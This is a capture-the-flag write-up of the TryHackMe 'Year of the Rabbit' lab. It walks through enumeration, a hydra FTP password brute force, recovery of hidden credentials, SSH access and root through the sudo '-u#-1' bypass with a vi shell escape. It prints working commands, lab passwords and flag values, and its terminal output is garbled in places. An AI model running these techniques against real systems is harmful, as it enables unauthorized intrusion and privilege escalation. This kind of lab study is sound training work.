#### Year of the rabbit

#### **Enumeration**

#### **Tools**


#### nmap

```
-(nobodyatall®0×DEADBEEF)-[~/tryhackme/yearOfTheRabbit]
s nmap -sC -sV -oN portscn 10.10.47.184
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-19 11:23 EST
Nmap scan report for 10.10.47.184
Host is up (0.20s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp
                   vsftpd 3.0.2
22/tcp open ssh
                    OpenSSH 6.7p1 Debian 5 (protocol 2.0)
 ssh-hostkey:
   1024 a0:8b:6b:78:09:39:03:32:ea:52:4c:20:3e:82:ad:60 (DSA)
    2048 df:25:d0:47:1f:37:d9:18:81:87:38:76:30:92:65:1f (RSA)
   256 be:9f:4f:01:4a:44:c8:ad:f5:03:cb:00:ac:8f:49:44 (ECDSA)
   256 db:b1:c1:b9:cd:8c:9d:60:4f:f1:98:e2:99:fe:08:03 (ED25519)
80/tcp open http
                   Apache httpd 2.4.10 ((Debian))
_http-server-header: Apache/2.4.10 (Debian)
 _http-title: Apache2 Debian Default Page: It works
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.77 seconds
  -(nobodyatall@0×DEADBEEF)-[~/tryhackme/yearOfTheRabbit]
```

## **Targets**


### http port

root page, /



found /assets when doing web dir fuzzing

/assets // style.css looks interesting



# Index of /assets

Name <u>Last modified</u> <u>Size</u> <u>Description</u>

```
      Parent Directory
      -


      RickRolled.mp4
      2020-01-23 00:34 384M

      style.css
      2020-01-23 00:34 2.9K
```


Apache/2.4.10 (Debian) Server at 10.10.47.184 Port 80

```
we found a .php page? interesting
    text-align: center;
}
/* Nice to see someone checking the stylesheets.
    Take a look at the page: /sup3r_s3cr3t_fl4g.php
*/
div.main_page {
    position: relative;
```


turn off javascript?



ok so seems that something redirecting us directly to youtube page //probably some javascript code redirect us to the page




use noscript set the page to untrusted to disable javascript & browse the hidden page again //interesting we can see the content already




download the video to local & find the hint

the hint is in the video... & the video

/html>




# Index of /assets



playing the video normally seems nothing we can find from here



try using binwalk to check the file & we found some interesting files in the mp4 file



let's extract it using binwalk -e and enumerate those extracted files

encounter some error when extracting

```
DEADBEEF)-[~/tryhackme/yearOfTheRabbit]
_$ binwalk -e RickRolled.mp4
DECIMAL
             HEXADECIMAL
                              DESCRIPTION
                              Cisco IOS experimental microcode, for ""
8610811
             0×8363FB
66694464
              0×3F9AD40
                              Uncompressed Adobe Flash SWF file, Version 114, File size (header included) 116146852
                              MySQL MISAM index file Version 6
77987059
             0×4A5FCF3
89148578
             0×5504CA2
                              LZ4 compressed data, legacy
                              MySQL ISAM index file Version 9
89390783
             0×553FEBF
WARNING: Extractor.execute failed to run external extractor 'unstuff '%e'': [Errno 2] No such file or directory: 'unstu
ff', 'unstuff '%e'' might not be installed correctly
            0×6B03706
                           StuffIt Deluxe Segment (data): fK
112211718
```

```
# Install unstuff (closed source) to extract StuffIt archive files
$ wget -0 - http://downloads.tuxfamily.org/sdtraces/stuffit520.611linux-i386.tar.gz | tar -zxv
$ sudo cp bin/unstuff /usr/local/bin/
```


& the extraction was completed

```
[~/tryhackme/yearOfTheRabbit]
$ binwalk -e RickRolled.mp4
DECIMAL
             HEXADECIMAL
                             DESCRIPTION
                             Cisco IOS experimental microcode, for ""
8610811
             0×8363FB
66694464
             0×3F9AD40
                             Uncompressed Adobe Flash SWF file, Version 114, File size (header included) 116146852
                             MySQL MISAM index file Version 6
77987059
             0×4A5FCF3
                             LZ4 compressed data, legacy
89148578
             0×5504CA2
                             MySQL ISAM index file Version 9
89390783
             0×553FEBF
                             StuffIt Deluxe Segment (data): fK
112211718
           0×6B03706
           0×AE96707
                             MySQL ISAM compressed data file Version 6
183068423
200345565
             0×BF107DD
                             MySQL MISAM index file Version 1
            0×DA4CE58
                             gzip compressed data, has header CRC, last modified: 2098-03-25 13:36:58 (bogus date)
228904536
267780318
             0×FF600DE
                              StuffIt Deluxe Segment (data): f5
318828326
             0×1300FF26
                             MySQL ISAM compressed data file Version 1
   -(nobodyatall@0×DEADBEEF)-[~/tryhackme/yearOfTheRabbit]
```

found interesting .gz compression with FAT File system let's extract it


but the header checksum was not match

we try to use another technique -dd to extract each files



but we cant find anything in there!! Seems like a big rabbit hole here


we try to go back to the disable javascript page again & enable the javascript to run & intercept the packet using burpsuite




When we click on forward when browsing the /sup3r\_s3cr3t\_fl4g.php we found a hidden directory at the GET request here




& it pop up this the javascript



which will redirect to the youtube page when trigger the javascript



so now we now understand how it works! let's check out the hidden directory & voila we found an interesting .png file



# Index of /WExYY2Cv-qU

Name <u>Last modified</u> <u>Size</u> <u>Description</u>



Parent Directory



Hot\_Babe.png 2020-01-23 00:34 464K

Apache/2.4.10 (Debian) Server at 10.10.60.120 Port 80

using strings to check the Hot\_Babe.png & we found ftpuser credentials

Ot9RrG7h2~24? Eh, you've earned this. Username for FTP is ftpuser One of these is the password: Mou+56n%QK8sr 1618B0AUshw1M A56IpIl%1s02u vTFbDzX9&Nmu? FfF~sfu^UQZmT 8FF?iKO27b~V0 ua4W~2-@v7dE\$ 3j39aMQQ7xFXT Wb4--CTc4ww\*u6oY9?nHv84D& 0iBp4W69Gr\_Yf TS\*%miyPsGV54 C7703FIy0c0sd 014xEhgg0Hxz1 5dpv#Pr\$wqH7F 1G8Ucoce1+gS5

now perform brute forcing on ftp & we found the credential for it! // ftpuser:5iez1wGXKfPKO

```
nobodyatall@0xDEADBEEF: ~/tryhackme/yearOfTheRabbit
File Actions
              Edit View
                           Help
  -(nobodyatall @ 0 x DEADBEEF) - [ ~/tryhackme/year0fTheRabbit ]
_$ hydra -l ftpuser -P <u>ftp cred.txt</u> 10.10.39.162 ftp -t 64
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or sec
 or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-11-21 11:49:58
[DATA] max 64 tasks per 1 server, overall 64 tasks, 82 login tries (l:1/p:82), ~2 tries per
[DATA] attacking ftp://10.10.39.162:21/
[21][ftp] host: 10.10.39.162 login: ftpuser password: 5iez1wGXKfPKQ
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 15 final worker threads did not complete until end.
[ERROR] 15 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-11-21 11:50:10
  —(nobodyatall® 0×DEADBEEF)-[~/tryhackme/yearOfTheRabbit]
_$
```


# ftp

the contents in the ftp server //Eli credential interesting

```
—(nobodyatall® 0×DEADBEEF)-[~/tryhackme/yearOfTheRabbit]
└$ ftp 10.10.39.162
Connected to 10.10.39.162.
220 (vsFTPd 3.0.2)
Name (10.10.39.162:nobodyatall): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0
                                       4096 Jan 23 2020 .
drwxr-xr-x 2 0
-rw-r--r-- 1 0
                         0
                                       4096 Jan 23 2020 ..
                                       758 Jan 23 2020 Eli's_Creds.txt
                         0
226 Directory send OK.
ftp>
```

#### Seems like brainfuck here

after decoding the brainfuck & we found Eli credential // eli:DSpDiM1wAEwid



User: eli Password: DSpDiM1wAEwid

trying the credential on SSH server & we've gotten our initial foothold!

```
(nobodyatall® 0*DEADBEEF)-[~/tryhackme/yearOfTheRabbit]
$ ssh eli@10.10.39.162
The authenticity of host '10.10.39.162 (10.10.39.162)' can't be established.
ECDSA key fingerprint is ShA256:ISBm3muLdVA/w4A1cm7QQQQOCSMRlPdDp/x8CNpbJc8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.39.162' (ECDSA) to the list of known hosts.
eli@10.10.39.162's password:

1 new message
Message from Root to Gwendoline:

"Gwendoline, I am not happy with you. Check our leet s3cr3t hiding place. I've left you a hidden message there"
END MESSAGE

eli@year-of-the-rabbit:~$ ■
```

## **Post Exploitation**

# **Privilege Escalation**

### eli -> gwendoline

secret hiding place uh there's a message in there

```
finding the secret place using find command & we've found it
```

```
eli@year-of-the-rabbit:~$ find / -name '*s3cr3t*' 2>/dev/null
/var/www/html/sup3r_s3cr3t_fl4g.php
/usr/games/s3cr3t
eli@year-of-the-rabbit:~$
```

#### gwendoline credential?

& yes! we can su into gwendoline user using that credential

```
eli@year-of-the-rabbit:/usr/games/s3cr3t$ cd /home
eli@year-of-the-rabbit:/home$ ls
eli gwendoline
eli@year-of-the-rabbit:/home$ su gwendoline
Password:
gwendoline@year-of-the-rabbit:/home$ id
uid=1001(gwendoline) gid=1001(gwendoline) groups=1001(gwendoline)
gwendoline@year-of-the-rabbit:/home$
```

```
gwendoline@year-of-the-rabbit:~$ cat user.txt
THM{1107174691af9ff3681d2b5bdb5740b1589bae53}
gwendoline@year-of-the-rabbit:~$
```

## gwendoline -> root

```
sudo -l privilege
```

```
//the !root seems to be vulnerable to one of the -u#-1 exploit let's try it out gwendoline@year-of-the-rabbit:~$ sudo -l
```

```
Matching Defaults entries for gwendoline on year-of-the-rabbit:
        env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/bin

User gwendoline may run the following commands on year-of-the-rabbit:
        (ALL, !root) NOPASSWD: /usr/bin/vi /home/gwendoline/user.txt
gwendoline@year-of-the-rabbit:~$
```

trying out the exploit

```
gwendoline@year-of-the-rabbit:~$ sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt
```

```
execute /bin/sh in vim
```

```
~
~
:!/bin/sh
```

& we're root now!

```
(ALL, !root) NOPASSWD: /usr/bin/vi /home/gwendoline/user.txt
gwendoline@year-of-the-rabbit:~$ sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt

# id
uid=0(root) gid=0(root) groups=0(root)
# ■
```

#### root flag

```
# cat root.txt
THM{8d6f163a87a1c80de27a4fd61aef0f3a0ecf9161}
#
```